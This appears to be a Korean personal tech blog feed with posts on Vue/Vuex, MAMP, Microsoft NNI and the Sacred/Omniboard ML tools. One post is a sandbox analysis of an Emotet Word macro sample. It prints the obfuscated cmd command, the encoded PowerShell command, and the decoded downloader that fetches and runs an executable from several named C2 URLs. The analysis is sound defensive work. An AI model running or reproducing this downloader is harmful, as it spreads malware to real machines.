오늘도 난, 하하하

Vuex

eunguru — Sat, 9 Oct 2021 23:13:43 +0900

Vuex

모든 컴포넌트에서 접근 가능한 js파일 내에 데이터를 몰아 넣음
코드가 복잡해 질 수 있어서 사용하는 컴포넌트와 데이터가 많을 때 사용
주의: 컴포넌트 안에서 직접 수정 금지!!
설치(vuex v4.x기준)
```
npm install vuex@next --save
```
js파일 만들기(보통 store.js로 만드는것이 관행)

import { createStore } from 'vuex'

// Create a new store instance.
const store = createStore({
  state () {
    return {
      // data
      name : 'Kim'
    }
  },
})

export default store;

main.js 수정

import store from './store.js'
...
app.use(store).mount('#app')

vuex state

data 사용, data대신 state라고 부름
예시
```
<h4>Hello {{$store.state.name}}</h4>
```

vuex mutations

데이터변경 시 사용하는 함수 정의, 데이터는 직접변경은 하지 말것, 나중에 버그 찾기 어려움
store.js에 state 수정 방법 정의

..
const store = createStore({
  state () {
    return {
      name : 'Kim',
      age : 20,
    }
  },
  mutations : {
      changeName(state) {
          state.name = 'zero'
      },
      addAge(state, payload) {
          state.age += payload
      }
  }
})
..

데이터 변경 수정 시 store.js에 요청

<button @click="$store.commit('changeName'); $store.commit('addAge', 10)">click</button>

vuex actions

ajax 함수 호출: mutations 함수 호출 $store.commit 대신 $store.dispatch 사용

  <button @click="$store.dispatch('getData')">more</button>

ajax 함수 정의, 데이터 변경 함수 정의

  ...
  mutations: {
    setMore(state, data) {
        state.more = data
    }
  },
  //   ajax 기능 구현
  actions: {
    getData(context) {
      axios
        .get("https://codingapple1.github.io/vue/more0.json")
        .then((result) => {
            console.log(result.data);
            context.commit('setMore', result.data)
        });
    },
  },

vuex ...mapState, ...mapMutations, ...mapActions

import

import { mapActions, mapMutations, mapState } from 'vuex';

...mapState: $store.state.데이터명 축약
- $store.state.데이터 축약을 위해서 compute 사용도 가능

 <p>{{myname}} {{age}}</p>
 ...
 computed : {
    // 값을 간직하고 있음, 컴퓨팅 파워 절약, 재렌더링 안함
    name() {
      return this.$store.state.name
    },

    // spread operator
    ...mapState(['name', 'age', 'likes']),
    ...mapState({'myname' : 'name'})
  },

...mapMutations: $store.commit('함수명')축약

<button @click="changeName(); addAge(10)">click</button>
 methods: {
    ...mapMutations(['changeName', 'addAge', 'setMore']),
 }

...mapActions: $store.dispatch('함수명')축약

vue.js props, slot, slot-props, custom event, mitt

eunguru — Sat, 9 Oct 2021 18:56:07 +0900

정리

props, slot, slot-props

props, slot: 상위 컴포넌트의 데이터를 하위컴포넌트에서 사용, 단 데이터 변경 불가
- 하위컴포넌트에서 커스텀 이벤트를 이용해서 데이터 변경
slot-props: 하위 컴포넌트의 데이터를 상위컴포넌트에서 사용

custom event

한 단계 컴포넌트 차이에서 주로 props 데이터를 변경할 때 사용
$emit, $event

<textarea @input="$emit('postData', $event.target.value)" ....

mitt

여러단계 컴포넌트를 거슬러 이벤트 전달 시 mitt라이브러리 설치 후 사용
mitt설치
```
npm install mitt
```
main.js 수정

import { createApp } from 'vue'
import App from './App.vue'
import mitt from 'mitt'

// 모든 컴포넌트가 mitt 사용가능
let emitter = mitt();
let app = createApp(App)
app.config.globalProperties.emitter = emitter;

// createApp(App).mount('#app')
app.mount('#app')

this.emitter.emit(): 이벤트 보낼때

 함수(데이터) {
 	this.emitter.emit('이벤트명', 데이터)
 }

this.emitter.on(): 이벤트 받을때, 주로 mounter() hook에서 구현

 mounted() {
    this.emitter.on('이벤트명', (받은데이터)=>{
		....
    });
  },

vue.js 데이터바인딩

eunguru — Thu, 7 Oct 2021 22:57:14 +0900

데이터 바인딩

javascript 데이터를 HTML에 꽂아넣는 문법
데이터의 변경이 자주 일어 날때 사용
사용하는 이유
- HTML에 하드코딩 시 변경하기 어려워 vue의 실시간 자동 렌더링 기능을 이용하기 위해 사용
- 데이터가 변경되면 자동으로 변경되기 때문에 웹, 앱을 만들때 편함

사용방법

HTML에서 사용할 때는 {{자료이름}}으로 사용
속성을 나타낼때는 :속성값 = 자료이름으로 사용
예시(deco, price에 데이터 바인딩 사용)

  <div>
    <h4 class="red" :style="deco">test</h4>
    <p>{{ price }}won</p>
  </div>

추가: 속성 데이터 바인딩에서 변수 사용

javascript ES6 문법 중 템플릿 리터럴 사용해서 데이터 바인딩
- 백틱문자(`) 사용하여 문자열 내에 ${변수명}을 사용하여 변수 입력 가능
- 예시
```
<div class="profile" :style="{background : `url(${p.userImage})`}"></div>
```

Vue Lifecycle, Lifecycle Hooks

eunguru — Mon, 4 Oct 2021 19:34:26 +0900

Lifecycle Diagram

Component Lifecycle

Lifecycle: 컴포넌트는 웹 페이지에 표시가 될 때까지 일련의 step을 거침
- Create단계: 데이터만 존재하는 단계
- Mount단계: 사이에 있는 코드를 실제 HTML로 바꿔줌
- Component 생성 단계: index.html에 추가
- Update 단계: data변경 → 컴포넌트가 재 렌더링
- Unmount 단계: 컴포넌트가 삭제될때
Lifecycle Hooks: 컴포넌트가 생명 주기를 거쳐 생성되고 사라지는 데 과정 마다 hook을 걸어서 코드를 실행 할 수 있음
- 서버에 데이터 요청 할 때 유용: created(), mounted()에서 주로 사용
- 그 밖에 함수들
  - beforeCreate()
  - created()
  - beforeMount()
  - mounted()
  - function() vs. ()⇒{} : 함수 안에서 this를 쓸때 function()대신 ()⇒{}로 쓸 것
  - mounted() { setTimeout(()=> { ..code.. }, 1000); }
  - beforeUpdate()
  - updated()
  - beforeUnmount()
  - unmounted()

MAMP에서 MySQL 패스워드 변경

eunguru — Tue, 28 Sep 2021 16:47:29 +0900

APM

Apache: Web Server
PHP: Server Side Script
MySQL: RDBMS

OS별 APM

Windows: APMSetup
Linux: LAPM
MAC: MAMP

MAMP에서 MySQL 패스워드 변경하기

패스워드 수정 후 phpMyAdmin 접속 불가 문제 해결

phpMyAdmin(MySQL server not running). 문제 발생
phpMyAdmin config.ini.php 파일 수정
- phpMyAdmin 경로: /Applications/MAMP/bin/phpMyAdmin
- config.ini.php 수정(변경전: 'root', 변경후: 'mysql에서 변경한 패스워드')
- ```
$cfg['Servers'][$i]['password']      = '패스워드';          // MySQL password (only needed
                                                    // with 'config' auth_type)
```
서버 재시작
문제해결

Malware sample(Emotet) Analysis

eunguru — Wed, 22 Sep 2021 18:54:14 +0900

Malware sample(Emotet) Analysis

1. 분석파일 & 분석환경

분석파일

파일명: 2c56c3a464728d07356992b8a9105fea2a9321e2572ddf18db89a74aed4e8c1f.doc
파일타입: Microsoft Compound(MS Office 97-2003 or MSI etc.)
파일크기: 92KB
파일해시값
- MD5: 4ECD8072C33A82275D9AB3678E6457CB
- SHA1: 7DE95CB762EB9A6C0911D054FC4ADAB529185F41
- SHA256: 2C56C3A464728D07356992B8A9105FEA2A9321E2572DDF18DB89A74AED4E8C1F

분석환경

Virtual Machine: Windows10 Pro 64bit , Office 2013

2. 파일 실행 분석

매크로 실행 전

샘플파일을 더블 클릭하여 Word문서를 열면, 문서 안에 매크로를 포함하고 있는 것을 알 수 있음

매크로 실행 후

Process hacker, Process Monitor, WireShark를 실행 한 상태에서 매크로 실행 후 살펴보기
- Word 문서의 "Enable Content" 버튼을 클릭하여 매크로를 실행
- Command Line을 이용하여 powershell을 실행하고 있음을 알 수 있음
Process Monitor로 프로세스 실행, 종료 확인
- process 실행, 종료만 필터링
- cmd.exe, powershell.exe가 실행 되나 command는 난독화된 상태

cmd.exe command

"C:\Windows\System32\cmd.exe" /v:^on^ ^ ^ /r"s^e^T ^ ^X^H^=^pow^er(0e^ll^ -^e^ ^J^:B^E:H^I^:^Sw^:9:G{^:Z^,^B3^:C^#:bwBi^:^G^o^:Z,B^4^:H,^:^I:^B.^:^GU^:d^:^:/^:^Fq:Z^,Bi:^E;:b^:Bp:G^U:^bgB#:D(:^J:^B^L:^H^Y^:,g^:^9^:Cq^:a^:B#^:H^,:q:^:^6:C8^:^L^wBk^:Gk:Z^wB^p:^H,^:Y,^B(:C{^:^Z,B#^:^G{^:^Y,Bz^:G8:^Z^g^B^#^:C^{^:^Z,B^1:C^8:Uw^B:^:Gg^:d:B#^:H::^.^g^:v^:C8^:^q^wBv^:G^;:^a^,^Bv^:^G^#:Y,B2^:^G^U:^bg^:/^:G;^:bwB^t^:C^8:^d^,^B0:G(:^S^g^:#^:^E:^:^a^:^B^#^:H^,^:q^::6^:C^8:L^wBp:H;:bw^B4:^Gk:^Y^,^B(:G^k^:^d^:B^l:H^;^:^Lg^B4:G8^:b^,^:/:G^{^:^Z^w:v:^D^;:^a:B;^:H^g^:V^,B^1:G^,^:NwB^:^:^G^g^:^d:^B#:^H::.g:v^:C8^:b^,Bv^:H^Y^:^Z,^Bp:H^;:Z^wBv^:^G,:b^w^B^p^:C{:^Yw^Bv:^G^#:^L^g^Bi^:^HI^:L^w^B^Z^:H^I^:R^,:^z:D^I^:Vw^BN^:^E^,^:^,:B^o^:H^,^:^d:^B^w^:^D^o^:L^w^:v^:^G^{:a,B2:G^E:qwBp:C^{^:a^,B/:C^8^:Uw:^`:C{:^UwB^w:^Gw:^a^,^B^#:Cg^:^Jw^B:^:Cq^:^K,^:^7:C,:Z^gB3:H^o:^I^:^:9:C:^:^Jw:^{^:^D^U:.,:^`^:^D(:J:B^I:E{^:q^::9:C,^:^Z,B/:HY:^.^gB^w^:H^U:Y^gB(:Gk:^Yw:r^:Cq:^X^:^:^`:C(:^J:^Bm:H^q^:^eg:r:Cq:LgB^l:H^g:^Z^,^:`:^D(^:ZgBv^:HI^:^Z,^B0^:G;:^a^:^:o:C,:V^gB^3^:G^g:I^:Bp^:G{^:I^::^k^:E(^:d^gBC:Ck^:^ewB#^:^HI^:e,^B^7^:C^,^:R^:^B^$:E(^:L^g^BE:^G8^:^d^wB/:^Gw^:bwB0^:G^,:R^gBp^:^Gw^:Z^,:o^:C^,:V^gB3^:Gg^:^L::g^:C,^:^S:B^.^:H^::K^,:^7:^E^k^:^bgB2:^G8^:a^w^B^l:C#:^S^,^B#^:GU^:b^,^:g:C^,^:S^:B.^:H:^:.wB^i^:^HI:Z,^B0:^G(:^.wB9:^G;:Y^,^B^#^:G;:a:B^7^:^H#:^f^,:g:C:^:I::^g:C^:^:^I::g^:C^::^I^:^:g:C::I^:^:^g^:C:^:I::g^:C^::& s^e^T ^ ^H^q=!^XH^:^q=c!&&S^E^T ^43^G=^!^H^q^:^0^=h!&& s^Et ^ ^ ^ k^ePY=^!^4^3^G^:`^=n^!&& s^e^T ^L^G0=!^k^e^P^Y^:$=^y!&& se^t ^ ^ ^7M1^S=^!^L^G0^:^4^=^j!& S^E^t ^ c^KmC=^!^7M^1^S:(^=s!&s^E^T ^ ^ v^B^6^a=!c^K^mC^:^,=^Q^!&&s^Et ^ ^ ^ A^j^p=!v^B^6^a:.=^O^!&& s^eT ^ ^ Vn=^!^A^j^p^:^:^=^A!&se^t ^ ^ ^Y^a=!Vn:^#^=^0!&& SE^T NCt=^!^Y^a:^{^=^4^!&& SE^T ^gn0^9=^!NC^t:/^=^u!& s^et ^ ^ ^EH=^!^gn^0^9^:;^=^M^!&C^A^L^l %^EH% "

powershell.exe command

powershell -e JABEAHIASwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABLAHYAQgA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAZwBpAHQAYQBsAC4AZQB0AG4AYQBzAG8AZgB0AC4AZQB1AC8AUwBAAGgAdAB0AHAAOgAvAC8AcwBvAGMAaQBvAG0AYQB2AGUAbgAuAGMAbwBtAC8AdQBhAGsASgA0AEAAaAB0AHQAcAA6AC8ALwBpAHMAbwBjAGkAYQBsAGkAdABlAHMALgBjAG8AbQAuAG4AZwAvADMAaABMAHgAVQB1AGQANwBAAGgAdAB0AHAAOgAvAC8AbQBvAHYAZQBpAHMAZwBvAGQAbwBpAC4AYwBvAG0ALgBiAHIALwBZAHIARQAzADIAVwBNAEQAQABoAHQAdABwADoALwAvAG4AaQB2AGEAcwBpAC4AaQBuAC8AUwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAZgB3AHoAIAA9ACAAJwA4ADUAOQAnADsAJABIAE4AcAA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABmAHcAegArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAVgB3AGgAIABpAG4AIAAkAEsAdgBCACkAewB0AHIAeQB7ACQARAByAEsALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVgB3AGgALAAgACQASABOAHAAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQASABOAHAAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA

Wireshark 실행 후 네트워크 연결 확인
- http.request or dns필터링
- Network Connection

Dst.IP	URI	Protocol	Status
91.230.192.105	digital.etnasoft.eu/S	HTTP	404 Not Found
148.66.136.60	sociomaven.com/uakJ4	HTTP	404 Not Found
ip not found	isocialites.com.ng	DNS
ip not fonund	moveisgodoi.com.br	DNS
166.162.27.151	http://nivasi.in/S	HTTP	404 Not Found

3. 분석

매크로 확인, 추출

oletools를 이용하여 확인
- -t: triage mode
  - M: Macros, A: Auto-executalbe, S: Supicious keywords, H: Hex strings, B: Base64 strings
의심스러운 부분 출력(-d option)

oledump를 이용하여 매크로 확인 또는
- 총 3개의 매크로, VBA 스크립트를 포함(8, 9, 16)
매크로 추출, 저장

매크로 분석
- 추출한 매크로 파일을 분석 또는 추출하지 않고 word에 포함되어 있는 [view]-[Macro]를 이용해서 분석해도 됨
  - AutoOpen()부터 분석 시작 → 분석하지 않음

Command Line 분석

powershell 실행 스크립트: 상세 분석하지 않음

Powershell Command 분석

powershell.exe -e 이후의 문자열에 대해 Base64 Decoding → Null Byte 제거→';'문자를 ';\n'로 변경 후 분석
- Drop file을 다운로드 하기 위한 URI, 파일명, 다운로드 경로가 포함
- ```
$DrK=new-object Net.WebClient;
$KvB='http://digital.etnasoft.eu/S@http://sociomaven.com/uakJ4@http://isocialites.com.ng/3hLxUud7@http://moveisgodoi.com.br/YrE32WMD@http://nivasi.in/S'.Split('@');
$fwz = '859';
$HNp=$env:public+'\'+$fwz+'.exe';
foreach($Vwh in $KvB){try{$DrK.DownloadFile($Vwh, $HNp);
Invoke-Item $HNp;
break;
}catch{}}
```
  - $KvB에 접속 URL이 있는 것을 볼 수 있음: '@' 문자 기준으로 split
  - $HNp에서 파일 다운로드 경로 지정: public 환경변수의 경로에 '859.exe' 다운로드
    - 분석환경에서 public 환경 변수의 경로: c:\users\Public
    - 현재 C2 서버가 모두 접속 불가로 실제 다운로드, 실행은 되지 않음

4. MITRE ATT&CK 분석

MITRE ATT&CK 사이트 접속

MITRE ATT&CK 사이트 URL: https://attack.mitre.org

`Emotet` 키워드로 검색 후 살펴보기

Emotet
- ID: S0367
- TrikBot, IceID 같은 멀웨어의 다운로더로 사용되는 멀웨어, 2014년 6월 처음 등장, 주로 은행을 타겟
Infection Chain(TREND MICRO Exploring Emotet'sActivities 참조)

활용되는 기술들

실행 및 분석으로는 Execution 카테고리의 기술만 살펴 볼 수 있음

AutoML 도구 Microsoft NNI

eunguru — Mon, 2 Mar 2020 19:10:30 +0900

Microsoft NNi

NNI(Neural Network Intelligence)은 아래의 기능 들의 자동화를 도와주는 강력한 도구
- Feature Engineering
- Neural Architecture Search
- Hyperparameter Tuning
- Model Comperssion
AutoML(Automated Machine Learning)을 실험들을 관리
- 로컬머신, 원격서버, OpenPAI, Kubeflow, K8S, 클라우드 같은 다른 학습 환경에서 최적의 신경망 구조, 하이퍼파라미터들을 찾기 위해 알고리즘을 튜닝

NNI 기능 요약

학습 실험들을 관리하기 위해 Commnd Line과 Web UI 모두 제공
확장 가능한 API를 사용하면 AutoML 알고리즘과 학습 서비스를 커스터마이징 할 수 있음
새로운 사용자를 위해 최신 AutoML 알고리즘과 인기있는 학습 플랫폼을 제공

NNI의 아키텍쳐

주요 컨셉
- 실험(Experiment): 모델의 최적의 하이퍼파라미터를 찾는 것, 최적의 신경망을 찾는 것
- 검색공간(Search Space): 모델 튜닝을 할 수 있는 영역(각 하이퍼파라미터의 변수 범위)
- 구성(Configuration): 검색 공간의 인스턴스(각 하이퍼파라미터가 갖는 특정 값)
- 트라이얼(Trial): 새로운 구성(하이퍼파라미터를 특정 신경망 구조를 설정)을 적용하는 개별적인 시도, 트라이얼 코드는 실행가능 해야 함
- 튜너(Tuner): 다음 시도를 위한 새로운 구성을 생성하는 AutoML알고리즘, 다음 트라이얼은 이 구성과 함께 실행됨
- 평가자(Assesor): 트라이얼의 중간 결과(주기적으로 테스트 데이터 셋의 accuracy를 평가)를 분석하여 이 트라이얼이 조기 종료되어야 하는지 아닌지 알려줌
- 학습플랫폼(Training Plaform): 트라이얼을 실행하는 환경, 실험들의 구성에 의존적
실험의 실행
- 튜너는 검색공간과 생성된 구성들을 수신
- 구성은 학습 플랫폼에 제출, 추후 행위들은 튜너에 보고됨
- 새로운 구성을 다시 생성하고 제출
실험의 과정
- Step 1: 검색공간의 정의
- Step 2: 모델 코드 업데이트
- Step 3: 실험의 정의

설치(테스트 당시 최신 버전 v1.4)

python -m pip install --upgrade nni

설치 검증

Tensorflow 2.x 예제 이용

소스코드를 clone하여 예제 다운로드

  git clone -b v1.4 https://github.com/Microsoft/nni.git

MNIST 에제를 실행

  nnictl create --config nni/examples/trials/mnist-tfv2/config.yml

INFO: Successfully Started experiment! 메시지가 커맨드라인 창에 출력되면 성공적으로 시작된 것
표시된 Web UI URL을 웹 브라우저에 입력하여 접속

실행결과

설정대로 실행됨(자세한 내용은 차후에 기록할 예정), 총 10번의 트라이얼 수행, 49분 소요
Web UI Overview
Web UI Trials detail → Hyper-Parameter
실행 후 체크포인트 등 결과파일 생성(디렉토리만 출력)

참고문서

머신러닝 실험관리 도구 Sacred를 위한 웹 대시보드 Omniboard

eunguru — Sun, 1 Mar 2020 22:11:38 +0900

Sacred + Omniboard

Sacred 기본 소개: 2020/02/21 - [AI&BigData/MLOps] - Sacred - 머신러닝 실험관리 도구

Omniboard는 Sacred를 위한 웹 대시보드
MongoDB를 연결해 Sacred의 실험 들과 각 실험들의 메트릭, 로그 들의 의 가시화를 도와줌
React, Node.js, Express, Bootstrap으로 작성됨

특징들

실험의 관리
- 모든 실험들이 tablular format으로 리스트 됨(정렬, 리오더, 리사이징 가능한 컬럼)
- 가장 마지막 실험의 설정을 자동으로 불러올 수 있음
- 선택한 컬럼의 show/hide 가능
- 메트릭 컬럼 추가 가능(예: minimum validation loss, maximum training accuracy 등)
- 커스텀 컬럼 추가 가능
- 각 실험에 태그나 노트를 추가 가능
- 모든 컬럼을 정렬, 필터링 가능
실험의 드릴다운
- 메트릭 그래프를 보여줌
- 콘솔 결과를 보여줌
- 모든 런타임 라이브러리
- 소스코드를 보거나 다운로드
- 아티팩트(실행에 의해 생성된 파일)를 보거나 다운로드
- 호스트의 하드웨어 스펙(예: OS 버전, CPU/GPU 디바이스 정보, 드라이버 버전 등)을 보여줌
- git 해쉬, 버전 컨트롤 정보를 보여줌
실험의 비교
- 다중의 실험의 메트릭들을 하나의 그래프에서 비교
- 두개의 실험들의 캡쳐된 결과를 비교
- 두개의 실험들의 소스파일을 비교
- 두개의 실험의 설정값을 비교

테스트

소스코드

tensorflow 2.0 튜토리얼 fashion mnist classification 소스코드를 기반으로 변경

소스코드 github주소

  import os
  import numpy as np

  import tensorflow as tf
  from tensorflow import keras

  from sacred import Experiment
  from sacred.observers import MongoObserver

  ex = Experiment('fashion_mnist')
  ex.observers.append(MongoObserver.create(url='localhost:27017',
                                          db_name='sacred_omniboard'))

  @ex.config
  def get_config():
      num_epochs = 5
      hidden_size = 128
      num_classes = 10

  @ex.capture
  def set_model_path(seed):
      model_dir = os.getcwd()
      model_filename = 'model/my_model_{}.h5'.format(seed)
      model_path = os.path.join(model_dir, model_filename)

      return model_path

  def write_logs(ex, logs):
      #print(logs)
      ex.log_scalar('loss', logs.get('loss'))
      ex.log_scalar('val_loss', logs.get('val_loss'))
      ex.log_scalar('accuracy', logs.get('accuracy'))
      ex.log_scalar('val_accuracy', logs.get('val_accuracy'))

  @ex.capture
  def create_model(hidden_size, num_classes):
      # create model
      model = keras.Sequential([
                                  keras.layers.Flatten(input_shape = (28, 28)),
                                  keras.layers.Dense(hidden_size, activation='relu'),
                                  keras.layers.Dense(num_classes, activation='softmax')
      ])

      model.compile(optimizer='adam',
                  loss='sparse_categorical_crossentropy',
                  metrics=['accuracy'])

      model.summary()

      return model

  @ex.capture
  def train(num_epochs):
      print(tf.__version__)

      # data load
      fashion_mnist = keras.datasets.fashion_mnist
      (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()

      '''
      print("type(train_images): {}".format(type(train_images)))
      print("train_images.shape: {}, train_labels.shape: {}".format(train_images.shape, train_labels.shape))
      print("train_images.shape: {}, train_labels.shape: {}".format(test_images.shape, test_images.shape))
      '''

      class_names = ['T-shirts/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
                      'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']

      # data preprocessing
      train_images = train_images / 255.0
      test_images = test_images / 255.0    

      # create model
      model = create_model()

      # callback
      cp_callback = keras.callbacks.LambdaCallback(
          on_epoch_end = lambda epoch, logs: write_logs(ex, logs)
      )

      # training        
      model.fit(train_images, train_labels, epochs=num_epochs,
                  validation_data = (test_images, test_labels),
                  callbacks = [cp_callback])

      # model save
      model_path = set_model_path()
      model.save(model_path)

      # add artifact: content_type - mimetype
      ex.add_artifact(filename=model_path, content_type='application/x-hdf5')

      # evaluate
      test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
      print("test_loss: {}, test acc: {}".format(test_loss, test_acc))

  @ex.automain
  def run():
      train()

실행하기

omniboard 설치
```
  npm install -g omniboard
```
코드 작성 후 테스트 스텝
1. MongoDB 서비스 시작
2. 코드를 작성(sacred mongodb observer를 사용하여 데이터를 저장)
3. 코드를 실행
4. Omniboard 시작
```
 omniboard -m hostname:port:database
```
5. 웹 브라우저에서 http://localhost:9000 주소로 접속

스크린샷

omniboard list view
Metrics Plot
Captured Out
Experiment Details
Host Info
Run Info
Aritifacts
Source Files
Config

참고문서

Sacred - 머신러닝 실험관리 도구

eunguru — Fri, 21 Feb 2020 13:35:01 +0900

Sacred

Sacred: 실험의 설정, 조직화, 로그, 재생성을 도와주는 도구
- 실험의 모든 파라미터 추적
- 다른 설정들을 쉽게 실험할 수 있음
- 개별 실행의 설정들을 데이터베이스에 저장
- 결과를 재생성

Sacred의 주요 메커니즘

ConfigScopes: 함수의 local 변수를 편리하게 다룰 수 있음, @ex.config 데코레이터 사용
Config Injection: 설정 함수의 모든 파라미터에 접근 가능
Command-line interface: 파라미터들을 변경하거나 다른 변형을 실행하는데 파워풀한 커맨드라인 인터페이스를 획득 가능
Observers: 실험의 모든 정보들, 의존성, 사용하는 설정, 실행한 기기, 과정 결과를 기록하여 Observer에 제공, Mongo DB에 저장
Automatic seeding: 실험에서 무작위로 제어하는 것을 도와줌

Hello World

@ex.automain 데코레이트
- ex.automain(my_main()) 같은 의미
- @ex.main대신 @ex.automain을 사용하는 것을 추천
- 파일을 실행하면 실험을 자동으로 실행 해줌
- @ex.automain이 작동 하려면 파일의 끝에 함수가 있어야 함, 그렇지 않으면 실험에 포함되지 않음
```
  from sacred import Experiment

  # create experiment instance
  ex = Experiment()

  # decorate
  @ex.automain
  def my_main():
      print("Hello world")
```
- 출력결과

First Configuration

first_config.py로 작성
설정: @ex.config 데코레이터 추가
- config함수 내에서 message변수 추가
- main함수에서 "Hello world"대신 message 파라미터 추가
  
  from sacred import Experiment
  
  ex = Experiment('hello_config')
  
  @ex.config
  def my_config():
```
  recipient = "world"
  message = "Hello %s!" % recipient
```
  @ex.automain
  def my_main(message):
```
  print(message)
```
실행 결과
- 실험 이름 지정: Experiment('실험이름')
- 실행 인자와 같이 실행하는 경우 실행할 때마다 seed값 변경
Command-Line 인터페이스를 이용한 configuration 업데이트
- with config=update형식으로 입력하여 실행
  - 해당 config가 지속되지 않음

Experiment 실행

실행방법
1. @ex.automain 사용
2. 파이썬에서 직접 실행: run함수 호출
  - first_config.py에서 Experiment 생성
  - first_config.py를 가져옴
  - run()함수 호출하여 실행
    - run()함수 호출 시 config_updates로 config값 조정 가능
    - JSON 직렬화(숫자, 문자열, 리스트, 튜플, 사전) 가능한 변수로 지정

jupyter notebook에서 실행하기 위해서는
- Experimnet 객체 생성 시 interactive=True로 파라미터 전달 필요
- @ex.main 대신 @ex.automain 사용

Caputure 함수

Capture 함수에서 config 함수의 모든 설정 값들을 파라미터로 접근 가능
Capture 함수를 호출할 때마다 누락된 파라미터를 자동으로 채우려고 시도함

Config함수에서 지정한 파라미터가 기본 파라미터 보다 우선시 됨

  from sacred import Experiment

  ex = Experiment()

  @ex.config
  def my_config():
      foo = 42
      bar = 'baz'

  @ex.capture
  def some_function(a, foo, bar=10):
      print("a={}, foo={}, bar={}".format(a, foo, bar))

  @ex.automain
  def my_main():
      some_function(1, 2, 3)
      some_function(1)
      some_function(1, bar=12)
      some_function()             # error

결과

Experiment 관찰하기

수집하는 정보들
- 시간: 시작 시간, 정지 시간
- 사용된 설정
- 결과나 발생한 에러
- 실행되는 머신들의 정보
- 실험에 의존성이 있는 패키지와 버전
- ex.open_resource로 열려진 파일들
- ex.add_artifact로 추가된 파일들

Observer 인터페이스를 사용하여 정보들에 접근

Observer 종류
- Mongo Observer: MongoDB에 모든 저장
- File Storage Observer: 로컬파일로 저장
- TinyDB Observer
- SQL Observer
- S3 Observer
- Queue Observer

MongoObserver

Sacred에서 사용하는 observer들 중에 하나
MongoDB에 연결하고 수집된 모든 정보들을 문서에 저장

MongoObserver 코드를 통해 추가

  from sacred.observers import MongoObserver

  ex.observers.append(MongoObserver())

MongoObserver 커맨드라인, 플래그를 통해 추가
```
      python 파일명 -m HOST:PORT:DB이름
```

테스트 소스

  from sacred import Experiment
  from sacred.observers import MongoObserver

  ex = Experiment('hello_config')
  ex.observers.append(MongoObserver(url='localhost:27017', 
                                  db_name='MY_DB'))

  @ex.config
  def my_config():
      recipient = "world"
      message = "Hello %s!" % recipient

  @ex.automain
  def my_main(message):
      print(message)

MongoDB 저장 결과

File Storage Observer

데이터베이스 설정이 어렵거나 불가능한 예비 실험 및 사례를 위한 것

FileStorageObserver 코드를 통해 추가

  from sacred.observers import FileStorageObserver

  ex.observers.append(FileStorageObserver.create('my_runs'))

FileStorageObserver 커맨드라인, 플래그를 통해 추가

  python 파일명 -F BASEDIR
  python 파일명 --file_storage=BASEDIR

테스트 소스코드

  from sacred import Experiment
  from sacred.observers import FileStorageObserver

  ex = Experiment('hello config')
  ex.observers.append(FileStorageObserver.create('my_runs'))

  @ex.config
  def my_config():
      recipient = "world"
      message = "Hello %s!" % recipient

  @ex.automain
  def my_main(message):
      print(message)

실행결과 및 생성 디렉토리 구조
- 실행할 때마다 몇개의 서브 디렉토리를 생성, 내부에 파일 생성
  - config.json: 설정 값 포함
  - count.txt: 캡쳐 아웃풋 포함
  - run.json: 주요정보들 저장

My Commands

@ex.command 데코레이터를 이용해서 추가적인 커맨드 추가 가능

  from sacred import Experiment

  ex = Experiment("my_commands")

  @ex.config
  def cfg():
      name = "John"

  @ex.command
  def greet(name):
      print("Hello {}! Nice to greet you!".format(name))

  @ex.command
  def shout():
      print("WHAZZZUUUUUUUUUUP!!!???")

  @ex.automain
  def main():
      print("This is just the main command. Try greet or shout.")s

실행결과
- 추가적인 command option들은 python [파일명] help 를 통해 알 수 있음
- 주요 Flag
  - Logging Levels: logging level 제어
    - 입력방법
      1. -l LEVEL
      2. —loglevel=LEVEL
    - logging level(Level:Numeric value)
      1. CRITICAL: 50
      2. ERROR: 40
      3. WARNING: 30
      4. INFO: 20
      5. DEBUG: 10
      6. NOTSET: 0
    - 예시화면
  - MongoDB Observer: MongoDB observer 추가
    - 입력방법
      1. -m DB
      2. —mongo_db=DB
    - DB의 형태는 [host:port:]db_name[.collection][!priority]여야 함
  - FileStorage Observer: filestorage observer 추가
    - 입력방법
      1. -F BASEDIR
      2. —file_storage=BASEDIR

Capturing stdout/stderr

Sacred는 observer에 모든 출력결과를 캡쳐하고 전송(설정으로 변경)
- 설정 모드는 커맨드라인으로 셋팅 가능: no, sys, fd
  - no: 출력결과를 캡쳐하지 않음, 실험에 observer를 추가하지 않음
  - sys: sys.stdout과 sys.stderr로 쓰여진 모든 출력결과를 캡쳐 (Windows 기본 설정)
  - fd: 파일 디스크립터 레벨에서 출력결과를 캡쳐, 프로그램, 자식 프로세스들의 출력결과를 포함 (Linux, OSX 기본설정)

Metrics API

실험을 하는 동안 다양한 값들(예: 학습과정 중 accuracy)을 측정하기 위한 API
- Metrics API를 통해 숫자 값(예: int, float) 트랙킹을 지원
- 실험에서 API에 접근하기 위해 현재 실험에서 변수들이 참조 가능한 범위여야 함
- run.log_scala(metric_name, value, step)메소드는 metric 이름을 가져야 하고 반복되는 스텝동안 값들을 주어진 값들을 측정
  - 스텝을 미 지정 시 각 metric은 자동적으로 1씩 증가하도록 설정 됨
  - 현재는 MongoObserver(metrics collection에 저장), FileStorageObserver(metrics.json)에 의해 수집 가능

예제: Iris Classification 소스코드

Sacred 적용 전

  import pandas as pd
  from sklearn.model_selection import train_test_split
  from sklearn import svm, metrics

  C = 1.0
  gamma = 0.7
  kernel = 'rbf'

  data_url = 'https://github.com/pandas-dev/pandas/raw/master/pandas/tests/data/iris.csv'
  iris_df = pd.read_csv(data_url)
  print("iris_df.shape: {}".format(iris_df.shape))

  iris_data = iris_df[['SepalLength', 'SepalWidth', 'PetalLength', 'PetalWidth']]
